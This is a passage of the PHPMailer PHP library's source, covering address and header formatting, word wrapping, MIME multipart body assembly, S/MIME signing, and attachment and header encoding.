address\n * and element 1 containing a name, like:\n * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))\n * @return string\n *\/\n public function addrAppend($type, $addr)\n {\n $addresses = array();\n foreach ($addr as $address) {\n $addresses[] = $this->addrFormat($address);\n }\n return $type . ': ' . implode(', ', $addresses) . $this->LE;\n }\n\n \/**\n * Format an address for use in a message header.\n * @access public\n * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name\n * like array('joe@example.com', 'Joe User')\n * @return string\n *\/\n public function addrFormat($addr)\n {\n if (empty($addr[1])) { \/\/ No name provided\n return $this->secureHeader($addr[0]);\n } else {\n return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(\n $addr[0]\n ) . '>';\n }\n }\n\n \/**\n * Word-wrap message.\n * For use with mailers that do not automatically perform wrapping\n * and for quoted-printable encoded messages.\n * Original written by philippe.\n * @param string $message The message to wrap\n * @param integer $length The line length to wrap to\n * @param boolean $qp_mode Whether to run in Quoted-Printable mode\n * @access public\n * @return string\n *\/\n public function wrapText($message, $length, $qp_mode = false)\n {\n if ($qp_mode) {\n $soft_break = sprintf(' =%s', $this->LE);\n } else {\n $soft_break = $this->LE;\n }\n \/\/ If utf-8 encoding is used, we will need to make sure we don't\n \/\/ split multibyte characters when we wrap\n $is_utf8 = (strtolower($this->CharSet) == 'utf-8');\n $lelen = strlen($this->LE);\n $crlflen = strlen(self::CRLF);\n\n $message = $this->fixEOL($message);\n \/\/Remove a trailing line break\n if (substr($message, -$lelen) == $this->LE) {\n $message = substr($message, 0, -$lelen);\n }\n\n \/\/Split message into lines\n $lines = explode($this->LE, $message);\n \/\/Message will be rebuilt in here\n $message = '';\n foreach ($lines as $line) {\n $words = explode(' ', $line);\n $buf = '';\n $firstword = true;\n foreach ($words as $word) {\n if ($qp_mode and (strlen($word) > $length)) {\n $space_left = $length - strlen($buf) - $crlflen;\n if (!$firstword) {\n if ($space_left > 20) {\n $len = $space_left;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n $buf .= ' ' . $part;\n $message .= $buf . sprintf('=%s', self::CRLF);\n } else {\n $message .= $buf . $soft_break;\n }\n $buf = '';\n }\n while (strlen($word) > 0) {\n if ($length <= 0) {\n break;\n }\n $len = $length;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == '=') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == '=') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n\n if (strlen($word) > 0) {\n $message .= $part . sprintf('=%s', self::CRLF);\n } else {\n $buf = $part;\n }\n }\n } else {\n $buf_o = $buf;\n if (!$firstword) {\n $buf .= ' ';\n }\n $buf .= $word;\n\n if (strlen($buf) > $length and $buf_o != '') {\n $message .= $buf_o . $soft_break;\n $buf = $word;\n }\n }\n $firstword = false;\n }\n $message .= $buf . self::CRLF;\n }\n\n return $message;\n }\n\n \/**\n * Find the last character boundary prior to $maxLength in a utf-8\n * quoted-printable encoded string.\n * Original written by Colin Brown.\n * @access public\n * @param string $encodedText utf-8 QP text\n * @param integer $maxLength Find the last character boundary prior to this length\n * @return integer\n *\/\n public function utf8CharBoundary($encodedText, $maxLength)\n {\n $foundSplitPos = false;\n $lookBack = 3;\n while (!$foundSplitPos) {\n $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);\n $encodedCharPos = strpos($lastChunk, '=');\n if (false !== $encodedCharPos) {\n \/\/ Found start of encoded character byte within $lookBack block.\n \/\/ Check the encoded byte value (the 2 chars after the '=')\n $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);\n $dec = hexdec($hex);\n if ($dec < 128) {\n \/\/ Single byte character.\n \/\/ If the encoded char was found at pos 0, it will fit\n \/\/ otherwise reduce maxLength to start of the encoded char\n if ($encodedCharPos > 0) {\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n }\n $foundSplitPos = true;\n } elseif ($dec >= 192) {\n \/\/ First byte of a multi byte character\n \/\/ Reduce maxLength to split at start of character\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n $foundSplitPos = true;\n } elseif ($dec < 192) {\n \/\/ Middle byte of a multi byte character, look further back\n $lookBack += 3;\n }\n } else {\n \/\/ No encoded character found\n $foundSplitPos = true;\n }\n }\n return $maxLength;\n }\n\n \/**\n * Apply word wrapping to the message body.\n * Wraps the message body to the number of chars set in the WordWrap property.\n * You should only do this to plain-text bodies as wrapping HTML tags may break them.\n * This is called automatically by createBody(), so you don't need to call it yourself.\n * @access public\n * @return void\n *\/\n public function setWordWrap()\n {\n if ($this->WordWrap < 1) {\n return;\n }\n\n switch ($this->message_type) {\n case 'alt':\n case 'alt_inline':\n case 'alt_attach':\n case 'alt_inline_attach':\n $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);\n break;\n default:\n $this->Body = $this->wrapText($this->Body, $this->WordWrap);\n break;\n }\n }\n\n \/**\n * Assemble message headers.\n * @access public\n * @return string The assembled headers\n *\/\n public function createHeader()\n {\n $result = '';\n\n $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);\n\n \/\/ To be created automatically by mail()\n if ($this->SingleTo) {\n if ($this->Mailer != 'mail') {\n foreach ($this->to as $toaddr) {\n $this->SingleToArray[] = $this->addrFormat($toaddr);\n }\n }\n } else {\n if (count($this->to) > 0) {\n if ($this->Mailer != 'mail') {\n $result .= $this->addrAppend('To', $this->to);\n }\n } elseif (count($this->cc) == 0) {\n $result .= $this->headerLine('To', 'undisclosed-recipients:;');\n }\n }\n\n $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));\n\n \/\/ sendmail and mail() extract Cc from the header before sending\n if (count($this->cc) > 0) {\n $result .= $this->addrAppend('Cc', $this->cc);\n }\n\n \/\/ sendmail and mail() extract Bcc from the header before sending\n if ((\n $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'\n )\n and count($this->bcc) > 0\n ) {\n $result .= $this->addrAppend('Bcc', $this->bcc);\n }\n\n if (count($this->ReplyTo) > 0) {\n $result .= $this->addrAppend('Reply-To', $this->ReplyTo);\n }\n\n \/\/ mail() sets the subject itself\n if ($this->Mailer != 'mail') {\n $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));\n }\n\n \/\/ Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4\n \/\/ https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n if ('' != $this->MessageID and preg_match('\/^<.*@.*>$\/', $this->MessageID)) {\n $this->lastMessageID = $this->MessageID;\n } else {\n $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());\n }\n $result .= $this->headerLine('Message-ID', $this->lastMessageID);\n if (!is_null($this->Priority)) {\n $result .= $this->headerLine('X-Priority', $this->Priority);\n }\n if ($this->XMailer == '') {\n $result .= $this->headerLine(\n 'X-Mailer',\n 'PHPMailer ' . $this->Version . ' (https:\/\/github.com\/PHPMailer\/PHPMailer)'\n );\n } else {\n $myXmailer = trim($this->XMailer);\n if ($myXmailer) {\n $result .= $this->headerLine('X-Mailer', $myXmailer);\n }\n }\n\n if ($this->ConfirmReadingTo != '') {\n $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');\n }\n\n \/\/ Add custom headers\n foreach ($this->CustomHeader as $header) {\n $result .= $this->headerLine(\n trim($header[0]),\n $this->encodeHeader(trim($header[1]))\n );\n }\n if (!$this->sign_key_file) {\n $result .= $this->headerLine('MIME-Version', '1.0');\n $result .= $this->getMailMIME();\n }\n\n return $result;\n }\n\n \/**\n * Get the message MIME type headers.\n * @access public\n * @return string\n *\/\n public function getMailMIME()\n {\n $result = '';\n $ismultipart = true;\n switch ($this->message_type) {\n case 'inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/related;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'attach':\n case 'inline_attach':\n case 'alt_attach':\n case 'alt_inline_attach':\n $result .= $this->headerLine('Content-Type', 'multipart\/mixed;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n case 'alt':\n case 'alt_inline':\n $result .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $result .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[1] . '\"');\n break;\n default:\n \/\/ Catches case 'plain': and case '':\n $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);\n $ismultipart = false;\n break;\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($this->Encoding != '7bit') {\n \/\/ RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE\n if ($ismultipart) {\n if ($this->Encoding == '8bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');\n }\n \/\/ The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible\n } else {\n $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);\n }\n }\n\n if ($this->Mailer != 'mail') {\n $result .= $this->LE;\n }\n\n return $result;\n }\n\n \/**\n * Returns the whole MIME message.\n * Includes complete headers and body.\n * Only valid post preSend().\n * @see PHPMailer::preSend()\n * @access public\n * @return string\n *\/\n public function getSentMIMEMessage()\n {\n return rtrim($this->MIMEHeader . $this->mailHeader, \"\\n\\r\") . self::CRLF . self::CRLF . $this->MIMEBody;\n }\n\n \/**\n * Create unique ID\n * @return string\n *\/\n protected function generateId() {\n return md5(uniqid(time()));\n }\n\n \/**\n * Assemble the message body.\n * Returns an empty string on failure.\n * @access public\n * @throws phpmailerException\n * @return string The assembled message body\n *\/\n public function createBody()\n {\n $body = '';\n \/\/Create unique IDs and preset boundaries\n $this->uniqueid = $this->generateId();\n $this->boundary[1] = 'b1_' . $this->uniqueid;\n $this->boundary[2] = 'b2_' . $this->uniqueid;\n $this->boundary[3] = 'b3_' . $this->uniqueid;\n\n if ($this->sign_key_file) {\n $body .= $this->getMailMIME() . $this->LE;\n }\n\n $this->setWordWrap();\n\n $bodyEncoding = $this->Encoding;\n $bodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {\n $bodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $bodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the body part only\n if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {\n $bodyEncoding = 'quoted-printable';\n }\n\n $altBodyEncoding = $this->Encoding;\n $altBodyCharSet = $this->CharSet;\n \/\/Can we do a 7-bit downgrade?\n if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {\n $altBodyEncoding = '7bit';\n \/\/All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $altBodyCharSet = 'us-ascii';\n }\n \/\/If lines are too long, and we're not already using an encoding that will shorten them,\n \/\/change to quoted-printable transfer encoding for the alt body part only\n if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {\n $altBodyEncoding = 'quoted-printable';\n }\n \/\/Use this as a preamble in all multipart message types\n $mimepre = \"This is a multi-part message in MIME format.\" . $this->LE . $this->LE;\n switch ($this->message_type) {\n case 'inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[1]);\n break;\n case 'attach':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n if (!empty($this->Ical)) {\n $body .= $this->getBoundary($this->boundary[1], '', 'text\/calendar; method=REQUEST', '');\n $body .= $this->encodeString($this->Ical, $this->Encoding);\n $body .= $this->LE . $this->LE;\n }\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_inline':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case 'alt_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n case 'alt_inline_attach':\n $body .= $mimepre;\n $body .= $this->textLine('--' . $this->boundary[1]);\n $body .= $this->headerLine('Content-Type', 'multipart\/alternative;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[2] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text\/plain', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine('--' . $this->boundary[2]);\n $body .= $this->headerLine('Content-Type', 'multipart\/related;');\n $body .= $this->textLine(\"\\tboundary=\\\"\" . $this->boundary[3] . '\"');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text\/html', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll('inline', $this->boundary[3]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll('attachment', $this->boundary[1]);\n break;\n default:\n \/\/ Catch case 'plain' and case '', applies to simple `text\/plain` and `text\/html` body content types\n \/\/Reset the `Encoding` property in case we changed it for line length reasons\n $this->Encoding = $bodyEncoding;\n $body .= $this->encodeString($this->Body, $this->Encoding);\n break;\n }\n\n if ($this->isError()) {\n $body = '';\n } elseif ($this->sign_key_file) {\n try {\n if (!defined('PKCS7_TEXT')) {\n throw new phpmailerException($this->lang('extension_missing') . 'openssl');\n }\n \/\/ @TODO would be nice to use php:\/\/temp streams here, but need to wrap for PHP < 5.1\n $file = tempnam(sys_get_temp_dir(), 'mail');\n if (false === file_put_contents($file, $body)) {\n throw new phpmailerException($this->lang('signing') . ' Could not write temp file');\n }\n $signed = tempnam(sys_get_temp_dir(), 'signed');\n \/\/Workaround for PHP bug https:\/\/bugs.php.net\/bug.php?id=69197\n if (empty($this->sign_extracerts_file)) {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null\n );\n } else {\n $sign = @openssl_pkcs7_sign(\n $file,\n $signed,\n 'file:\/\/' . realpath($this->sign_cert_file),\n array('file:\/\/' . realpath($this->sign_key_file), $this->sign_key_pass),\n null,\n PKCS7_DETACHED,\n $this->sign_extracerts_file\n );\n }\n if ($sign) {\n @unlink($file);\n $body = file_get_contents($signed);\n @unlink($signed);\n \/\/The message returned by openssl contains both headers and body, so need to split them up\n $parts = explode(\"\\n\\n\", $body, 2);\n $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;\n $body = $parts[1];\n } else {\n @unlink($file);\n @unlink($signed);\n throw new phpmailerException($this->lang('signing') . openssl_error_string());\n }\n } catch (phpmailerException $exc) {\n $body = '';\n if ($this->exceptions) {\n throw $exc;\n }\n }\n }\n return $body;\n }\n\n \/**\n * Return the start of a message boundary.\n * @access protected\n * @param string $boundary\n * @param string $charSet\n * @param string $contentType\n * @param string $encoding\n * @return string\n *\/\n protected function getBoundary($boundary, $charSet, $contentType, $encoding)\n {\n $result = '';\n if ($charSet == '') {\n $charSet = $this->CharSet;\n }\n if ($contentType == '') {\n $contentType = $this->ContentType;\n }\n if ($encoding == '') {\n $encoding = $this->Encoding;\n }\n $result .= $this->textLine('--' . $boundary);\n $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);\n $result .= $this->LE;\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);\n }\n $result .= $this->LE;\n\n return $result;\n }\n\n \/**\n * Return the end of a message boundary.\n * @access protected\n * @param string $boundary\n * @return string\n *\/\n protected function endBoundary($boundary)\n {\n return $this->LE . '--' . $boundary . '--' . $this->LE;\n }\n\n \/**\n * Set the message type.\n * PHPMailer only supports some preset message types, not arbitrary MIME structures.\n * @access protected\n * @return void\n *\/\n protected function setMessageType()\n {\n $type = array();\n if ($this->alternativeExists()) {\n $type[] = 'alt';\n }\n if ($this->inlineImageExists()) {\n $type[] = 'inline';\n }\n if ($this->attachmentExists()) {\n $type[] = 'attach';\n }\n $this->message_type = implode('_', $type);\n if ($this->message_type == '') {\n \/\/The 'plain' message_type refers to the message having a single body element, not that it is plain-text\n $this->message_type = 'plain';\n }\n }\n\n \/**\n * Format a header line.\n * @access public\n * @param string $name\n * @param string $value\n * @return string\n *\/\n public function headerLine($name, $value)\n {\n return $name . ': ' . $value . $this->LE;\n }\n\n \/**\n * Return a formatted mail line.\n * @access public\n * @param string $value\n * @return string\n *\/\n public function textLine($value)\n {\n return $value . $this->LE;\n }\n\n \/**\n * Add an attachment from a path on the filesystem.\n * Never use a user-supplied path to a file!\n * Returns false if the file could not be found or read.\n * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.\n * If you need to do that, fetch the resource yourself and pass it in via a local file or string.\n * @param string $path Path to the attachment.\n * @param string $name Overrides the attachment name.\n * @param string $encoding File encoding (see $Encoding).\n * @param string $type File extension (MIME) type.\n * @param string $disposition Disposition to use\n * @throws phpmailerException\n * @return boolean\n *\/\n public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')\n {\n try {\n if (!self::isPermittedPath($path) or !@is_file($path)) {\n throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);\n }\n\n \/\/ If a MIME type is not specified, try to work it out from the file name\n if ($type == '') {\n $type = self::filenameToType($path);\n }\n\n $filename = basename($path);\n if ($name == '') {\n $name = $filename;\n }\n\n $this->attachment[] = array(\n 0 => $path,\n 1 => $filename,\n 2 => $name,\n 3 => $encoding,\n 4 => $type,\n 5 => false, \/\/ isStringAttachment\n 6 => $disposition,\n 7 => 0\n );\n\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n return true;\n }\n\n \/**\n * Return the array of attachments.\n * @return array\n *\/\n public function getAttachments()\n {\n return $this->attachment;\n }\n\n \/**\n * Attach all file, string, and binary attachments to the message.\n * Returns an empty string on failure.\n * @access protected\n * @param string $disposition_type\n * @param string $boundary\n * @return string\n *\/\n protected function attachAll($disposition_type, $boundary)\n {\n \/\/ Return text of body\n $mime = array();\n $cidUniq = array();\n $incl = array();\n\n \/\/ Add all attachments\n foreach ($this->attachment as $attachment) {\n \/\/ Check if it is a valid disposition_filter\n if ($attachment[6] == $disposition_type) {\n \/\/ Check for string attachment\n $string = '';\n $path = '';\n $bString = $attachment[5];\n if ($bString) {\n $string = $attachment[0];\n } else {\n $path = $attachment[0];\n }\n\n $inclhash = md5(serialize($attachment));\n if (in_array($inclhash, $incl)) {\n continue;\n }\n $incl[] = $inclhash;\n $name = $attachment[2];\n $encoding = $attachment[3];\n $type = $attachment[4];\n $disposition = $attachment[6];\n $cid = $attachment[7];\n if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {\n continue;\n }\n $cidUniq[$cid] = true;\n\n $mime[] = sprintf('--%s%s', $boundary, $this->LE);\n \/\/Only include a filename property if we have one\n if (!empty($name)) {\n $mime[] = sprintf(\n 'Content-Type: %s; name=\"%s\"%s',\n $type,\n $this->encodeHeader($this->secureHeader($name)),\n $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Type: %s%s',\n $type,\n $this->LE\n );\n }\n \/\/ RFC1341 part 5 says 7bit is assumed if not specified\n if ($encoding != '7bit') {\n $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);\n }\n\n if ($disposition == 'inline') {\n $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);\n }\n\n \/\/ If a filename contains any of these chars, it should be quoted,\n \/\/ but not otherwise: RFC2183 & RFC2045 5.1\n \/\/ Fixes a warning in IETF's msglint MIME checker\n \/\/ Allow for bypassing the Content-Disposition header totally\n if (!(empty($disposition))) {\n $encoded_name = $this->encodeHeader($this->secureHeader($name));\n if (preg_match('\/[ \\(\\)<>@,;:\\\\\"\\\/\\[\\]\\?=]\/', $encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=\"%s\"%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n if (!empty($encoded_name)) {\n $mime[] = sprintf(\n 'Content-Disposition: %s; filename=%s%s',\n $disposition,\n $encoded_name,\n $this->LE . $this->LE\n );\n } else {\n $mime[] = sprintf(\n 'Content-Disposition: %s%s',\n $disposition,\n $this->LE . $this->LE\n );\n }\n }\n } else {\n $mime[] = $this->LE;\n }\n\n \/\/ Encode as string attachment\n if ($bString) {\n $mime[] = $this->encodeString($string, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n } else {\n $mime[] = $this->encodeFile($path, $encoding);\n if ($this->isError()) {\n return '';\n }\n $mime[] = $this->LE . $this->LE;\n }\n }\n }\n\n $mime[] = sprintf('--%s--%s', $boundary, $this->LE);\n\n return implode('', $mime);\n }\n\n \/**\n * Encode a file attachment in requested format.\n * Returns an empty string on failure.\n * @param string $path The full path to the file\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @throws phpmailerException\n * @access protected\n * @return string\n *\/\n protected function encodeFile($path, $encoding = 'base64')\n {\n try {\n if (!self::isPermittedPath($path) or !file_exists($path)) {\n throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);\n }\n $magic_quotes = false;\n if( version_compare(PHP_VERSION, '7.4.0', '<') ) {\n $magic_quotes = get_magic_quotes_runtime();\n }\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime(false);\n } else {\n \/\/Doesn't exist in PHP 5.4, but we don't need to check because\n \/\/get_magic_quotes_runtime always returns false in 5.4+\n \/\/so it will never get here\n ini_set('magic_quotes_runtime', false);\n }\n }\n $file_buffer = file_get_contents($path);\n $file_buffer = $this->encodeString($file_buffer, $encoding);\n if ($magic_quotes) {\n if (version_compare(PHP_VERSION, '5.3.0', '<')) {\n set_magic_quotes_runtime($magic_quotes);\n } else {\n ini_set('magic_quotes_runtime', $magic_quotes);\n }\n }\n return $file_buffer;\n } catch (Exception $exc) {\n $this->setError($exc->getMessage());\n return '';\n }\n }\n\n \/**\n * Encode a string in requested format.\n * Returns an empty string on failure.\n * @param string $str The text to encode\n * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'\n * @access public\n * @return string\n *\/\n public function encodeString($str, $encoding = 'base64')\n {\n $encoded = '';\n switch (strtolower($encoding)) {\n case 'base64':\n $encoded = chunk_split(base64_encode($str), 76, $this->LE);\n break;\n case '7bit':\n case '8bit':\n $encoded = $this->fixEOL($str);\n \/\/ Make sure it ends with a line break\n if (substr($encoded, -(strlen($this->LE))) != $this->LE) {\n $encoded .= $this->LE;\n }\n break;\n case 'binary':\n $encoded = $str;\n break;\n case 'quoted-printable':\n $encoded = $this->encodeQP($str);\n break;\n default:\n $this->setError($this->lang('encoding') . $encoding);\n break;\n }\n return $encoded;\n }\n\n \/**\n * Encode a header string optimally.\n * Picks shortest of Q, B, quoted-printable or none.\n * @access public\n * @param string $str\n * @param string $position\n * @return string\n *\/\n public function encodeHeader($str, $position = 'text')\n {\n $matchcount = 0;\n switch (strtolower($position)) {\n case 'phrase':\n if (!preg_match('\/[\\200-\\377]\/', $str)) {\n \/\/ Can't use addslashes as we don't know the value of magic_quotes_sybase\n $encoded = addcslashes($str, \"\\0..\\37\\177\\\\\\\"\");\n if (($str == $encoded) && !preg_match('\/[^A-Za-z0-9!#$%&\\'*+\\\/=?^_`{|}~ -]\/', $str)) {\n return ($encoded);\n } else {\n return (\"\\\"$encoded\\\"\");\n }\n }\n $matchcount = preg_match_all('\/[^\\040\\041\\043-\\133\\135-\\176]\/', $str, $matches);\n break;\n \/** @noinspection PhpMissingBreakStatementInspection *\/\n case 'comment':\n $matchcount = preg_match_all('\/[()\"]\/', $str, $matches);\n \/\/ Intentional fall-through\n case 'text':\n default:\n $matchcount += preg_match_all('\/[\\000-\\010\\013\\014\\016-\\037\\177-\\377]\/', $str, $matches);\n break;\n }\n\n \/\/There are no chars that need encoding\n if ($matchcount == 0) {\n return ($str);\n }\n\n $maxlen = 75 - 7 - strlen($this->CharSet);\n \/\/ Try to select the encoding which should produce the shortest output\n if ($matchcount > strlen($str) \/ 3) {\n \/\/ More than a third of the content will need encoding, so B encoding will be most efficient\n $encoding = 'B';\n if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {\n \/\/ Use a custom function which correctly encodes and wraps long\n \/\/ multibyte strings without breaking lines within a character\n $encoded = $this->base64EncodeWrapMB($str, \"\\n\");\n } else {\n $encoded = base64_encode($str);\n $maxlen -= $maxlen % 4;\n $encoded = trim(chunk_split($encoded, $maxlen, \"\\n\"));\n }\n } else {\n $encoding = 'Q';\n $encoded = $this->encodeQ($str, $position);\n $encoded = $this->wrapText($encoded, $maxlen, true);\n $encoded = str_replace('=' . self::CRLF, \"\\n\", trim($encoded));\n }\n\n $encoded = preg_replace('\/^(.*)$\/m', ' =?' . $this->CharSet . \"?$encoding?\\\\1?=\", $encoded);\n $encoded = trim(str_replace(\"\\n\", $this->LE, $encoded));\n\n return $encoded;\n }\n\n \/**\n * Check if a string contains multi-byte characters.\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @return boolean\n *\/\n public function hasMultiBytes($str)\n {\n if (function_exists('mb_strlen')) {\n return (strlen($str) > mb_strlen($str, $this->CharSet));\n } else { \/\/ Assume no multibytes (we can't handle without mbstring functions anyway)\n return false;\n }\n }\n\n \/**\n * Does a string contain any 8-bit chars (in any charset)?\n * @param string $text\n * @return boolean\n *\/\n public function has8bitChars($text)\n {\n return (boolean)preg_match('\/[\\x80-\\xFF]\/', $text);\n }\n\n \/**\n * Encode and wrap long multibyte strings for mail headers\n * without breaking lines within a character.\n * Adapted from a function by paravoid\n * @link http:\/\/www.php.net\/manual\/en\/function.mb-encode-mimeheader.php#60283\n * @access public\n * @param string $str multi-byte text to wrap encode\n * @param string $linebreak string to use as linefeed\/end-of-line\n * @return string\n *\/\n public function base64EncodeWrapMB($str, $linebreak = null)\n {\n $start = '=?' . $this->CharSet . '?B?';\n $end = '?=';\n $encoded = '';\n if ($linebreak === null) {\n $linebreak = $this->LE;\n }\n\n $mb_length = mb_strlen($str, $this->CharSet);\n \/\/ Each line must have length <= 75, including $start and $end\n $length = 75 